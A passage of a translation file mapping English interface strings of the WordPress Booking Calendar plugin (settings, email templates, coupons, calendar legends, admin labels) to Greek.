resources with a tooltip, when mouse hovers over each day on the calendar(s).'=>'Επιλέξτε αυτό το πλαίσιο για να εμφανίσετε σε αναδυόμενο κείμενο την διαθεσιμότητα των δωματίων που είναι διαθέσιμα για κράτηση, όταν αιωρείται το ποντίκι πάνω από κάθε ημέρα στο ημερολόγιο(α).','Auto Cancel all pending bookings for the specific date(s), if some booking is approved for these date(s)'=>'Αυτόματη ακύρωση για όλες τις κρατήσεις που είναι σε αναμονή, αν κάποιες κρατήσεις έχουν εγκριθεί για αυτές τις μέρες','When checked, all reserved days must be at same booking resource otherwise error message will show.'=>'Όταν επιλεγεί, όλες οι δεσμευμένες μέρες θα πρέπει να είναι στην πηγή κράτησης. Διαφορετικά θα εμφανιστεί μήνυμα λάθους.','Single'=>'Μονή','Child'=>'Παιδί','Minimum Cost'=>'Ελάχιστο Κόστος','Expiration'=>'Λήξη','Select Booking Resource'=>'Επιλέξτε πηγή κράτησης','Enter coupon code.'=>'Εισάγετε κωδικό κουπονιού.','Select Expiration Date of the coupon.'=>'Επιλέξτε Ημερομηνία Λήξης Κουπονιού.','Select booking resources, where is possible to apply this coupon code.'=>'Επιλέξτε κράτηση, όπου είναι πιθανό η εφαρμογή αυτού του κωδικού κουπονιού.','Add New'=>'Προσθέστε νέα','Availability Title'=>'Τίτλος διαθεσιμότητας','Type your %savailability%s description'=>'Βάλτε το δικό σας τίτλο για τον πως η %sδιαθεσιμότητα%s θα εμφανίζεται','Use pending days as available'=>'Χρησιμοποιήστε τις ημέρες που είναι εκκρεμείς ως διαθέσιμες','Check this box if you want to show the pending days as available in calendars'=>'Επιλέξτε αυτό το πλαίσιο αν θέλετε να εμφανίζονται οι ημέρες που είναι εκκρεμείς πάνω στο ημερολόγιο ως διαθέσιμες','Please read more info about configuration of this parameter %shere%s'=>'Παρακαλώ διαβάστε περισσότερες πληροφορίες σχετικά με την παραμετροποίηση αυτής της παραμέτρου %sεδώ%s','Disable bookings in different booking resources'=>'Απενεργοποίηση κράτησης σε διαφορετικό προϊόν κράτησης','Parent'=>'"Πατέρας"','Create dates filter'=>'Δημιουργία φίλτρου ημερομηνιών','Add New Discount Coupon'=>'Προσθήκη Νέου Κουπονιού Έκπτωσης','Warning!!! After you approved the specific booking(s), all your pending bookings of the same booking resource as an approved booking for the dates, which are intersect with dates of approved booking, will be automatically canceled!'=>'Προειδοποίηση!!! Μετά την επιβεβαίωση της συγκεκριμένης κράτησης, όλες οι κρατήσεις που είναι εκκρεμείς από τις ίδιες κρατήσεις προϊόντος κράτησης θα εγκριθούν για τις συγκεκριμένες ημέρες, οι οποίες τέμνονται με τις ημερομηνίες των εγκεκριμένων κρατήσεων, θα ακυρωθούν αυτόματα!','Savings'=>'Έκπτωση','All resources'=>'Όλα τα προϊόντα κράτησης','Enter minimum booking cost, when coupon is applicable.'=>'Εισάγετε το ελάχιστο ποσό, για να εφαρμόζεται το κουπόνι.','Enter maximum number of times, when coupon is applicable.'=>'Πληκτρολογήστε το μέγιστο αριθμό απο φορές, για να εφαρμοστεί το κουπόνι.','%s - resource title, '=>'%s - τίτλος προϊόντος κράτησης, ','Expand Advanced Toolbar'=>'Άνοιγμα εξειδικευμένης μπάρας','Filter bookings by booking dates'=>'Φιλτράρισμα κρατήσεων με ημερομηνίες κρατήσεων','Number of months in one row'=>'Αριθμός των μηνών σε μια σειρά','Calendar cell height'=>'Ύψος κελιού ημερολογίου','Total'=>'Συνολικά','ID or Title'=>'ID ή τίτλος','Email copy to'=>'Αντίγραφο Email σε','Restored'=>'Επαναφέρθηκε','Please check more about configuration at %sthis page%s'=>'Παρακαλώ ελέγξτε περισσότερα σχετικά με αυτή την ρύθμιση σε %sαυτή την σελίδα%s','Cost: '=>'Κόστος: ','Available: '=>'Διαθέσιμο: ','%s - start new translation section, where %s - locale of translation'=>'%s - έναρξη νέου τμήματος μετάφρασης, όπου %s - τοπική μετάφραση','Example #1: %s - start French translation section'=>'Παράδειγμα #1: %s - Έναρξη μετάφρασης στα Γαλλικά','Example #2: "%s" - English and French translation of some message'=>'Παράδειγμα #2: "%s" - Αγγλική και Γαλλική μετάφραση για κάποιο μήνυμα','If you like %s please leave us a %s rating. A huge thank you in advance!'=>'Αν σας άρεσε %s παρακαλούμε αφήστε μας μια %s αξιολόγηση. Ένα μεγάλο ευχαριστώ εκ των προτέρων!','Changes saved.'=>'Οι αλλαγές αποθηκεύθηκαν.','Deleting'=>'Διαγράφοντας','Updating'=>'Ενημερώνεται','Saving'=>'Αποθήκευση','Action is not allowed!'=>'Δεν επιτρέπεται ενέργεια!','Costs and Rates'=>'Τιμές','Advanced Cost'=>'Εξειδικευμένες τιμές','Plugin menu position'=>'Θέση μενού προσθέτων','Enable this email notification'=>'Ενεργοποίηση της ειδοποίησης με Email','Enter main heading contained within the email notification.'=>'Αναγράψτε τον κυρίως τίτλο που περιέχεται στην ειδοποίηση Email.','Enter text contained within footer of the email notification'=>'Αναγράψτε το κείμενο που περιέχεται στο υποσέλιδο της ειδοποίησης Email','You can override this email template in this folder %s'=>'Μπορείτε να απορρίψετε αυτό το πρότυπο Email σε αυτό το φάκελο %s','The base color for email templates.'=>'Το βασικό χρώμα για πρότυπο Email.','The main body text color for email templates.'=>'Το κυρίως χρώμα κειμένου Email για πρότυπα Email.','If empty then title defined as WordPress'=>'Αν μείνει άδειο, ο τίτλος καθορίζεται όπως στο WordPress','Email different from website DNS, its can be a reason of not delivery emails. Please use the email withing the same domain as your website!'=>'Το Email διαφορετικό απο το DNS της ιστοσελίδας, αυτό μπορεί να είναι ένας λόγος που δεν απεστάλησαν Email. Παρακαλούμε χρησιμοποιήστε Email με την ίδια διεύθυνση όπως η ιστοσελίδα σας!','Form Field'=>'Πεδία φόρμας','Checkbox'=>'Πεδίο','Show / hide field in booking form'=>'Εμφάνιση / απόκρυψη πεδίου στη φόρμα πληρωμής','Set field as required'=>'Ορίστε το πεδίο ως υποχρεωτικό','Type only %sunique field name%s, that is not using in form'=>'Πληκτρολογήστε μόνο %sμοναδικό όνομα πεδίου %s, το οποίο δεν χρησιμοποιείται στη φόρμα','parent resource'=>'αρχική πηγή κράτησης','Plugin Menu'=>'Μενού πρόσθετων','Resource Selection'=>'Επιλογή πηγής','Insert into page'=>'Εισαγωγή στη σελίδα','View mode'=>'Προεπιλεγμένη εμφάνιση','Number of months to scroll'=>'Αριθμός μηνών που θα εμφανίζονται','Select number of months to scroll after loading'=>'Επιλέξτε τον αριθμό των μηνών που θα εμφανίζονται μετά τη φόρτωση','Number of days to scroll'=>'Αριθμός ημερών που θα εμφανίζονται','Aggregate booking dates from other resources'=>'Αθροιστικές ημερομηνίες κράτησης από άλλες πηγές','Preselected resource'=>'Προεπιλεγμένη πηγή κράτησης','Please select the resource:'=>'Παρακαλώ επιλέξτε τον πηγή κράτησης:','First option in dropdown list.'=>'Πρώτη επιλογή στην λίστα.','URL of search results:'=>'Διεύθυνση ιστοσελίδας για αποτελέσματα αναζήτησης:','Type the URL of search results page.'=>'Πληκτρολογήστε τη διεύθυνση ιστοσελίδας αποτελεσμάτων αναζήτησης.','Result(s) Found'=>'Βρέθηκαν αποτελέσματα','Show info about Booking Resource'=>'Δείξε πληροφορίες σχετικά με την πηγή κράτησης','Select type of info to show.'=>'Επιλέξτε τύπο πληροφοριών που θα φαίνεται.','Select default custom booking form'=>'Επιλέξτε προεπιλεγμένη φόρμα κράτησης','Select booking resources, for showing in selectbox. Please use CTRL to select multiple booking resources.'=>'Επιλέξτε προϊόντα κράτησης, για να εμφανίζονται στο πλαίσιο επιλογής. Παρακαλώ χρησιμοποιήστε το κουμπί CTRL για να επιλέξετε πολλα προϊόντα κράτησης.','This shortcode %s is used on a page, where visitors can %smodify%s their own booking(s), %scancel%s or make %spayment%s after receiving an admin email payment request'=>'Αυτοί οι σύντομοι κωδικοί %s Χρησιμοποιούνται σε μία σελίδα, όπου οι επισκέπτες μπορούν να %sτροποποιήσουν%s τις δικές τους κρατήσεις, να %sακυρώσουν%s ή να κάνουν %sπληρωμή%s αφού λάβουν Email με αίτηση πληρωμής από τον διαχειριστή','Capacity'=>'Χωρητικότητα κατηγορίας','Error'=>'Σφάλμα','Email was not sent. An error occurred.'=>'Το Email δεν έχει αποσταλεί. Προέκυψαν κάποιο σφάλμα.','Availability'=>'Διαθεσιμότητα','Restore'=>'Επαναφορά','Completely Delete'=>'Οριστική διαγραφή','In Trash'=>'Στα σκουπίδια','Moved to trash'=>'Μεταφέρθηκε στα σκουπίδια','Restore selected bookings'=>'Επαναφορά επιλεγμένων κρατήσεων','Your emails do not match'=>'Το email σας δεν ταιριάζει','Do you really want to do this ?'=>'Θέλετε πραγματικά να το κάνετε?','Warning'=>'Προειδοποίηση','HTML tags is accepted.'=>'HTML ετικέτα είναι αποδεκτή.','Active'=>'Ενεργό','Subject'=>'Θέμα','Content'=>'Περιεχόμενο','You can use following shortcodes in content of this template'=>'Μπορείτε να χρησιμοποιήσετε τους ακόλουθους σύντομους κώδικες στο περιεχόμενο των προτύπων','%s - inserting data info about the booking, which you configured in the content form at Settings Fields page'=>'%s - εισάγοντας δεδομένα πληροφοριών σχετικά με την κράτηση, την οποία διαμορφώσατε στο περιεχόμενο της φόρμας στην σελίδα ρυθμίσεων','%s - inserting ID of booking '=>'%s - εισάγοντας ID κράτησης ','%s - inserting the cost of booking '=>'%s - εισάγοντας το κόστος κράτησης ','%s - inserting the dates of booking'=>'%s - εισάγοντας τις ημερομηνίες κράτησης','%s - inserting the number of booking dates '=>'%s - εισάγοντας τον αριθμό των ημερομηνιών κράτησης ','Select the default view for dates on the booking tables'=>'Επιλέξτε την προεπιλεγμένη προβολή για τις ημερομηνίες στον πίνακα κράτησης','Show / hide hints'=>'Εμφάνιση / απόκρυψη συμβουλών','Allow unlimited bookings per same day(s)'=>'Επιτρέψτε απεριόριστες κρατήσεις στην ίδια ημέρα','You allow unlimited number of bookings per same dates, its can be a reason of double bookings on the same date. Do you really want to do this?'=>'Επιτρέπετε απεριόριστο αριθμό κρατήσεων στις ίδιες ημερομηνίες, αυτός μπορεί να είναι ένας λόγος διπλής κρατήσεις την ίδια ημερομηνία. Είστε σίγουροι ότι θέλετε να το κάνετε αυτό?','You are need to be sure what you are doing. You are disable of loading some JavaScripts Do you really want to do this?'=>'Πρέπει να είστε σίγουροι τι πάτε να κάνετε. Θα απενεργοποιήσετε την φόρτωση από κάποιες JavaScripts ρυθμίσεις. Θέλετε πραγματικά να το κάνετε?','Relative URLs of pages, where to load plugin CSS and JS files'=>'Σχετικά URLs σελίδων, όπου φορτώνετε Plugin CSS και JS αρχεία','Show settings of powered by notice'=>'Εμφάνιση ρυθμίσεων των powered με ανακοίνωση','Hide settings of powered by notice'=>'Απόκρυψη ρυθμίσεων των powered με ανακοίνωση','Information'=>'Πληροφορία','Uninstall / deactivation'=>'Κατάργηση / απενεργοποίηση','Delete booking data, when plugin deactivated'=>'Διαγραφή δεδομένων της κράτησης, όταν το plugin απενεργοποιηθεί','If you check this option, all booking data will be deleted when you uninstall this plugin. Do you really want to do this?'=>'Εάν επιλέξετε αυτή την επιλογή, όλα τα δεδομένα κρατήσεων θα διαγραφούν όταν απεγκαταστήσετε το plugin. Θέλετε πραγματικά να το κάνετε?','Check this box to delete all booking data when you uninstal this plugin.'=>'Επιλέξετε αυτή την επιλογή για διαγραφή όλων των δεδομένων κράτησης όταν απεγκαταστήσετε το plugin.','Available item'=>'Διαθέσιμο στοιχείο','Approved item'=>'Εγκεκριμένο στοιχείο','Field Label'=>'Ετικέτα πεδίου','Required'=>'Απαιτείται','Enter dropdown options. One option per line.'=>'Εισάγετε επιλογές. Μια επιλογή ανά γραμμή.','For example: "You have a new reservation %s on the following date(s): %s Contact information: %s You can approve or cancel this booking at: %s Thank you, Reservation service."'=>'Για παράδειγμα: "Έχετε μια νέα κράτηση %s στην ακόλουθη ημερομηνία: %s Στοιχεία επικοινωνίας: %s Μπορείτε να εγκρίνετε ή να ακυρώσετε την κράτηση σε: %s Ευχαριστούμε, Υπηρεσία κρατήσεων."','%s - inserting data info about the booking'=>'%s - εισάγοντας πληροφορίες δεδομένων σχετικά με την κράτηση','%s - inserting IP address of the user who made this action '=>'%s - εισάγοντας IP διεύθυνση του χρήστη που έκανε αυτή την ενέργεια ','%s - inserting contents of the User-Agent: header from the current request, if there is one '=>'%s - εισάγοντας το περιεχόμενου του χρήστη: επικεφαλίδα από την τρέχουσα αίτηση, εάν υπάρχει ','%s - inserting address of the page (if any), where visitor make this action '=>'%s - εισάγοντας διεύθυνσης της σελίδας (οποιαδήποτε), όταν ο επισκέπτης κάνει αυτήν την ενέργεια ','%s - inserting date of this action '=>'%s - εισάγοντας ημερομηνία της παρούσας δράσης ','%s - inserting time of this action '=>'%s - εισάγοντας το χρόνο της εν λόγω δράσης ','%s - inserting moderate link of new booking '=>'%s - εισάγοντας μέτρια σύνδεση της νέας κράτησης ','%s - inserting link to the page where visitor can edit the reservation, (possible to use the %s parameter for setting different %s of this page. Example: %s )'=>'%s - εισάγοντας link στην σελίδα όπου ο επισκέπτης μπορεί να διαμορφώσει την κράτηση, (πιθανόν να χρησιμοποιηθεί η %s παράμετρος για τον καθορισμό διαφορετικών %s αυτής της σελίδας. παράδειγμα: %s )','%s - inserting link to the page where visitor can cancel the reservation, (possible to use the %s parameter for setting different %s of this page. Example: %s )'=>'%s - εισάγοντας το link στη σελίδα όπου ο επισκέπτης μπορεί να ακυρώσει την κράτηση, (πιθανόν να χρησιμοποιηθεί η %s παράμετρος για τον καθορισμό διαφορετικών %s σε αυτή την σελίδα. Παράδειγμα: %s )','%s - inserting link to payment page where visitor can pay for the reservation (possible to use the %s parameter for setting different %s of this page. Example: %s )'=>'%s - εισάγοντας τη σύνδεση στη σελίδα πληρωμής όπου ο επισκέπτης μπορεί να πληρώσει για την κράτηση (δυνατό να χρησιμοποιηθεί η %s παράμετρος για τον καθορισμό διαφορετικών %s από αυτή την σελίδα. Παράδειγμα: %s )','%s - add the reason for booking payment, you can enter it before sending email, '=>'%s - προσθέστε το λόγο για την πληρωμή κράτησης, μπορείτε να τον εισάγετε πριν την αποστολή e-mail, ','%s - add the reason booking was cancelled, you can enter it before sending email, '=>'%s - προσθέστε το λόγο που ακυρώσατε την κράτηση, μπορείτε να τον εισάγετε πριν την αποστολή e-mail, ','ASC'=>'Αύξουσα','DESC'=>'Φθίνουσα','Date Format'=>'Μορφή Ημερομηνίας','Cost'=>'Τιμή','Help and info notices'=>'Βοήθεια και πληροφορίες','To'=>'Προς','Show date number in legend'=>'Εμφάνιση αριθμού ημερομηνίας','Check this box to display today date number in legend cells. '=>'Επιλέξτε αυτό το πλαίσιο για να εμφανίζεται ο αριθμός σημερινής ημερομηνίας στα κελιά των επεξηγήσεων. ','Show legend below calendar'=>'Εμφάνιση επεξηγήσεων κάτω απο το ημερολόγιο','Check this box to display a legend of dates below the booking calendar.'=>'Επιλέξτε αυτό το πλαίσιο για να εμφανίζονται επεξηγήσεις της κάθε ημέρας, κάτω από το ημερολόγιο.','Activate and type your %stitle of available%s item in legend'=>'Ενεργοποιήστε και πληκτρολογήστε την %sονομασία των διαθέσιμων%s στοιχείων','Pending item'=>'Εκκρεμές στοιχείο','Activate and type your %stitle of pending%s item in legend'=>'Ενεργοποιήστε και πληκτρολογήστε την %sονομασία των εκκρεμών%s στοιχείων','Activate and type your %stitle of approved%s item in legend'=>'Ενεργοποιήστε και πληκτρολογήστε την %sονομασία των μη διαθέσιμων%s στοιχείων','Partially booked item'=>'Μερικώς διαθέσιμο στοιχείο','Activate and type your %stitle of partially booked%s item in legend'=>'Ενεργοποιήστε και πληκτρολογήστε την %sονομασία των μερικώς διαθέσιμων%s στοιχείων','Partially booked item - day, which is booked for the specific time-slot(s).'=>'Μερικώς διαθέσιμο στοιχείο - ημέρα, το οποίο έχει κρατηθεί για τη συγκεκριμένη χρονική περίοδο.','Type your date format for emails and the booking table. %sDocumentation on date formatting%s'=>'Πληκτρολογήστε την μορφή της ημέρας για τα Email και τον πίνακα κρατήσεων. %sΟδηγίες σχετικά με τη μορφή ημερομηνία%s','Dates view'=>'Εμφάνιση ημερομηνίας','Check this box if you want to show help hints on the admin panel.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να εμφανίζονται βοήθεια-συμβουλές στην φόρμα διαχείρισης.','Load JS and CSS files only on specific pages'=>'Φόρτωμα JS και CSS αρχείων μόνο σε συγκεκριμένες σελίδες','Check this box, if you want to %sset any days as available%s in calendar. Your visitors will be able to make %sunlimited bookings per same date(s) in calendar and do not see any booked date(s)%s of other visitors.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε να %sορίσετε οποιεσδήποτε ημέρες ως διαθέσιμες%s στο ημερολόγιο. Οι επισκέπτες θα μπορούν να κάνουν %sαπεριόριστες κρατήσεις την ίδια ημέρα στο ημερολόγιο και δεν θα βλέπουν καμία κρατημένη μέρα%s από άλλους επισκέπτες.','Activate loading of CSS and JavaScript files of plugin only at specific pages.'=>'Ενεργοποίηση φορτώματος CSS και JavaScript αρχεία του πρόσθετου μόνο σε συγκεκριμένες σελίδες.','Enter relative URLs of pages, where you have Booking Calendar elements (booking forms or availability calendars). Please enter one URL per line. Example: %s'=>'Εισάγετε σχετικές διευθύνσεις ιστοσελίδας, όπου έχετε ημερολόγια κρατήσεων (φόρμες κρατήσεων ή διαθέσιμα ημερολόγια). Παρακαλώ πληκτρολογήστε μια διεύθυνση ιστοσελίδας ανά γραμμή. Παράδειγμα: %s','Powered by notice'=>'Ενεργοποίηση σημείωσης',' Turn On/Off powered by "Booking Calendar" notice under the calendar.'=>' Ενεργοποίηση/Απενεργοποίηση της σημείωσης "Απο το booking calendar" κάτω από το ημερολόγιο.',' Turn On/Off version notice and help info links at booking admin panel.'=>' Ενεργοποίηση/Απενεργοποίηση εμφάνισης έκδοσης και βοήθειας στη σελίδα διαχειριστή.','User permissions for plugin menu pages'=>'Δικαιώματα χρήσης για σελίδες του μενού','Select user access level for the menu pages of plugin'=>'Επιλέξτε το επίπεδο πρόσβασης χρήστη για τις σελίδες που θα έχει πρόσβαση στο μενού','Type your email %ssubject%s for the booking confimation message.'=>'Πληκτρολογήστε το Email σας %sθέμα%s για το μήνυμα επιβεβαίωσης στην κράτηση.','You can use (in subject and content of email template) any shortcodes, which you used in the booking form. Use the shortcodes in the same way as you used them in the content form at Settings Fields page.'=>'Μπορείτε να χρησιμοποιήσετε (σε θέμα και το περιεχόμενο πρότυπα Email) οποιοδήποτε σύντομο κώδικα, το οποίο θα χρησιμοποιείται στη φόρμα κράτησης. Χρησιμοποιήστε σύντομους κώδικες με τον ίδιο τρόπο όπως το χρησιμοποιούσατε στο περιεχόμενο της φόρμας στην σελίδα ρυθμίσεις.','%s - inserting your site URL '=>'%s - εισάγοντας τη διεύθυνση ιστοσελίδας σας ','Short days view'=>'Μικρές ημέρες','Wide days view'=>'Μεγάλες ημέρες','Customization of email template, which is sending to Admin after new booking'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνεται στο διαχειριστή μετά από νέα κράτηση','Customization of email template, which is sending to Visitor after new booking'=>'Προσαρμογή στο πρότυπο Email, το οποίο στέλνεται στον επισκέπτη μετά από νέα κράτηση','%s - inserting check-in date (first day of reservation),'=>'%s - εισάγοντας ημερομηνία check-in (πρώτη ημέρα κράτησης),','%s - inserting check-out date (last day of reservation),'=>'%s - εισάγοντας ημερομηνία check-out (τελευταία ημέρα κράτησης),','%s or %s - inserting the title of the booking resource '=>'%s ή %s - εισαγωγή τίτλου του προϊόντος κράτησης ','Bookings Listing'=>'Λίστα','Default booking admin page'=>'Προεπιλεγμένη εμφάνιση σελίδας κρατήσεων','Select your default view mode of bookings at the booking listing page'=>'Επιλέξτε τον τρόπο εμφάνισης των κρατήσεων στη σελίδα διαχείρισης κρατήσεων','Select your default calendar view mode at booking calendar overview page'=>'Επιλέξτε το προεπιλεγμένο χρονικό εύρος που θα εμφανίζεται το ημερολόγιο','Resource'=>'Προϊόν κράτησης','https://wpbookingcalendar.com/demo/'=>'https://wpbookingcalendar.com/demo/','https://wpbookingcalendar.com/'=>'https://wpbookingcalendar.com/','Send'=>'Αποστολή','Search'=>'Αναζήτηση','Note'=>'Σημείωση','Help Info'=>'Βοήθεια','Add booking'=>'Προσθήκη κράτησης','Su'=>'Κυ','Tu'=>'Τρ','Th'=>'Πε','Sa'=>'Σα','Sunday'=>'Κυριακή','Wednesday'=>'Τετάρτη','Thursday'=>'Πέμπτη','Friday'=>'Παρασκευή','Saturday'=>'Σάββατο','Calendar'=>'Ημερολόγιο','CAPTCHA'=>'CAPTCHA','Payment'=>'Πληρωμή','Users'=>'Χρήστες','Times'=>'Ώρες','General Settings'=>'Γενικές ρυθμίσεις','You need to use special shortcode [bookingedit] for booking editing.'=>'Θα πρέπει να χρησιμοποιήσετε ειδικά σύντομους κώδικες [bookingedit] για παραμετροποίηση κρατήσεων.','Visible months'=>'Εμφάνιση - Μήνες','%sImportant!!!%s Please note, if you show booking calendar (inserted into post/page) with widget at the same page, then the last will not be visible.'=>'%sΣημαντικό!!!%s Παρακαλώ σημειώστε, αν εμφανίσετε το ημερολόγιο των κρατήσεων (εισαχθεί σε θέση / σελίδα) με το widget στην ίδια σελίδα, τότε ο τελευταίος δεν θα είναι ορατό.','Mon'=>'Δευ','Tue'=>'Τρι','Wed'=>'Τετ','Thu'=>'Πεμ','Fri'=>'Παρ','Sat'=>'Σαβ','Sun'=>'Κυρ','Booking Calendar'=>'Booking Calendar','Statistic'=>'Στατιστικά','Upgrade to higher versions'=>'Αναβάθμιση σε νεότερη έκδοση','Current version'=>'Τρέχουσα έκδοση','Version'=>'Έκδοση','Type'=>'Τύπος','Used for'=>'Χρησιμοποιείται για','websites'=>'ιστότοποι','Release date'=>'Ημερομηνία κυκλοφορίας','Check Premium Features'=>'Ελέγξτε την πλήρης έκδοση με όλες τις δυνατότητες','Upgrade'=>'Αναβάθμιση','Support'=>'Υποστήριξη','Getting Started'=>'Ξεκινώντας','Contact email'=>'Email επικοινωνίας','Rate plugin (thanks:)'=>'Βαθμολογήστε το plugin (Ευχαριστώ :)','Settings'=>'Ρυθμίσεις','Bookings'=>'Κρατήσεις','General'=>'Γενικά','Emails'=>'Emails','Emails Settings'=>'Ρυθμίσεις Emails','Payments'=>'Πληρωμές','Users Settings'=>'Ρυθμίσεις Χρηστών','Calendar is loading...'=>'Το ημερολόγιο φορτώνει...','You do not set any parameters for booking editing'=>'Δεν ορίσατε οποιαδήποτε παράμετρο για την επεξεργασία κράτησης','New booking'=>'Νέα κράτηση','Your booking has been approved'=>'Η κράτησή σας έχει εγκριθεί','Your reservation %s for: %s has been approved.%sYou can edit the booking on this page: %s Thank you, %s'=>'Η κράτησή σας %s για: %s έχει εγκριθεί.%sΜπορείτε να τροποποιήσετε αυτή την κράτηση σε αυτή την σελίδα: %s Ευχαριστώ, %s','Your booking %s for: %s has been approved.%sThank you, %s'=>'Η κράτησή σας %s για: %s έχει εγκριθεί.%sΕυχαριστώ, %s','Your booking has been declined'=>'Η κράτησή σας απορρίφθηκε','Your booking %s for: %s has been canceled. %sThank you, %s'=>'Η κράτησή σας %s για: %s έχει ακυρωθεί. %sΕυχαριστώ, %s','Booking form'=>'Φόρμα κράτησης','Available'=>'Διαθέσιμο','%s Found %s not indexed bookings %s'=>'%s Βρέθηκε %s δεν έγινε αναπροσαρμογή στις κρατήσεις %s','%s Finish getting sort dates. %s'=>'%s Τελειώστε με τις ημερομηνίες ταξινόμησης. %s','Updated booking: %s'=>'Ενημερώθηκε η κράτηση: %s','no'=>'όχι','Booking system'=>'Σύστημα κρατήσεων','Warning! Some error occur, during sending registration request.'=>'Προσοχή! Εμφανίστηκαν κάποια λάθει, κατά την αποστολή αίτησης καταχώρισης.','Footer'=>'Υποσέλιδο','Example: %sMake booking here%s'=>'Παράδειγμα: %sΚάνε μία κράτηση εδώ%s','%sSeveral widgets are supported at %spaid versions%s.'=>'%sΠολλά widgets υποστηρίζονται σε %sέκδοση πληρωμής%s.','Form'=>'Φόρμα','Auto cancellation / approval'=>'Αυτόματη ακύρωση / έγκριση','Advanced'=>'Προχωρημένα','Uninstall'=>'Απεγκατάσταση','Calendar Skin'=>'Εμφάνιση Ημερολόγιου','Select the skin of the booking calendar'=>'Επιλέξτε εμφάνιση για το ημερολόγιο κρατήσεων','Start Day of the week'=>'Ημέρα έναρξης της εβδομάδας','Select your start day of the week'=>'Επιλέξτε την ημέρα έναρξης της εβδομάδας','Range days'=>'Εύρος ημερών','Check the box to activate CAPTCHA inside the booking form.'=>'Επιλέξτε αυτό το πλαίσιο για να ενεργοποιήσετε το CAPTCHA μέσα στην φόρμα κράτησης.','Use CSS BootStrap'=>'Χρησιμοποιείστε CSS BootStrap','Message title'=>'Τίτλος μηνύματος','Delete'=>'Διαγραφή','Monday'=>'Δευτέρα','Tuesday'=>'Τρίτη','Labels'=>'Ετικέτες','Approved'=>'Εγκρίθηκε','Pending'=>'Εκκρεμεί','Unknown'=>'Άγνωστο','Created'=>'Δημιουργήθηκε','Paid OK'=>'Πληρωμή ΟΚ','All bookings'=>'Όλες οι κρατήσεις','Technical Support'=>'Τεχνική Υποστήριξη','Emails sending'=>'Αποστολή Emails','Booking ID'=>'ID Κράτησης','Any'=>'Οποιαδήποτε','Show'=>'Εμφάνιση','Booking Data'=>'Δεδομένα Κράτησης','Booking Dates'=>'Ημερομηνίες Κράτησης','Show ALL dates of booking'=>'Εμφάνιση όλων των ημερομηνιών των κρατήσεων','Show only check in/out dates'=>'Εμφάνιση μόνο ημερομηνίες check in/out','Do you really want to delete this booking ?'=>'Θέλετε πραγματικά να διαγράψετε αυτή την κράτηση?','Month'=>'Μήνας','3 Months'=>'3 Μήνες','Show day'=>'Εμφάνιση ημέρας','Show week'=>'Εμφάνιση εβδομάδας','Week'=>'Εβδομάδα','2 Months'=>'2 μήνες','Previous 4 weeks'=>'4 προηγούμενες εβδομάδες','Previous 3 months'=>'3 προηγούμενοι μήνες','Previous month'=>'Προηγούμενος μήνας','Current month'=>'Τρέχον μήνας','Nothing found.'=>'Τίποτα δεν βρέθηκε.','Default Locale'=>'Προεπιλεγμένη Τοποθεσία','fields'=>'πεδία','Filters'=>'Φίλτρα','Payment Settings'=>'Ρυθμίσεις Πληρωμών','Status'=>'Κατάσταση','Next 7 days'=>'Επόμενες 7 ημέρες','Next day'=>'Επόμενη ημέρα','Current day'=>'Τρέχουσα ημέρα','Previous day'=>'Προηγούμενη ημέρα','Previous 7 days'=>'Προηγούμενες 7 ημέρες','Next 3 months'=>'Επόμενοι 3 μήνες','Next month'=>'Επόμενος μήνας','Next 4 weeks'=>'Επόμενες 4 εβδομάδες','Next week'=>'Επόμενη εβδομάδα','Prev'=>'Προηγ','Day'=>'Ημέρα','Actions'=>'Ενέργειες','Approve'=>'Έγκριση','Show month'=>'Εμφάνιση 1 μήνα','Show 2 months'=>'Εμφάνιση 2 μηνών','Previous week'=>'Προηγούμενη εβδομάδα','Current week'=>'Τρέχουσα εβδομάδα','New (unverified) booking(s)'=>'Νέες (ανεπιβεβαίωτες) κράτησεις','Bookings for today'=>'Κρατήσεις για σήμερα','yes'=>'ναι','website'=>'ιστότοπο','Search Settings'=>'Αναζήτηση στις ρυθμίσεις','Costs'=>'Τιμές','year(s)'=>'έτος/η','month(s)'=>'μήνας/ες','Unavailable week days'=>'Μη διαθέσιμες ημέρες της εβδομάδας','Booked'=>'Μη διαθέσιμο','Partially booked'=>'Μερικώς διαθέσιμο','Select the maximum number of months to show (scroll)'=>'Επιλέξτε το μέγιστο αριθμό μηνών που θα εμφανίζονται','Check unavailable days in calendars. This option will overwrite all other settings.'=>'Επιλέξτε τις μη διαθέσιμες ημέρες. Αυτή η επιλογή θα αντικαταστήσει όλες τις άλλες ρυθμίσεις.','Unavailable days from today'=>'Μη διαθέσιμες ημέρες από σήμερα','Select number of unavailable days in calendar start from today.'=>'Επιλέξτε τον αριθμό από τις μη διαθέσιμες ημέρες που να ξεκινάει από σήμερα.','Auto-fill fields'=>'Αυτόματη συμπλήρωση πεδίων','Check the box to activate auto-fill form fields for logged in users.'=>'Επιλέξτε αυτό το πεδίο για να ενεργοποιήσετε την αυτόματη συμπλήρωση πεδίων των χρηστών.','You must not deactivate loading BootStrap files at advanced section of these settings!'=>'Δεν πρέπει να απενεργοποιήσετε τα αρχεία φόρτωσης bootstrap στις ρυθμίσεις για προχωρημένους!','Settings saved.'=>'Οι ρυθμίσεις αποθηκεύθηκαν.','Your reservation %s for: %s is processing now! We will send confirmation by email. %sYou can edit this booking at this page: %s Thank you, %s'=>'Η κράτησή σας %s για: %s είναι σε διαδικασία εκτέλεσης! Θα σας αποσταλεί επιβεβαίωση με Email. %sΜπορείτε να τροποποιήσετε αυτή την κράτηση σε αυτήν την σελίδα: %s Ευχαριστώ, %s','Your reservation %s for: %s is processing now! We will send confirmation by email. %s Thank you, %s'=>'Η κράτησή σας %s για: %s είναι σε διαδικασία εκτέλεσης! Θα σας αποσταλεί επιβεβαίωση με Email. %s Ευχαριστώ, %s','Explore Premium Features'=>'Μεταφερθείτε στην πλήρη έκδοση με όλες τις δυνατότητες','Agenda'=>'Αναφορά ημέρας','New booking(s) made today'=>'Νέες κρατήσεις που έγιναν σήμερα','Send email notification to customer about this operation'=>'Ειδοποίηση με Email στον πελάτη για αυτή τη λειτουργία','Please refresh this page and if the same error appear again contact support by email (with info about order number and website) for finishing the registrations'=>'Παρακαλώ αν μετά την ανανέωση της σελίδας το μήνυμα λάθους εξακολουθεί να εμφανίζεται, επικοινωνήστε με την τεχνική υποστήριξη μέσο Email(με τον αριθμό παραγγελίας και το Web Site) για να ολοκληρωθεί η καταχώρηση','Using BootStrap 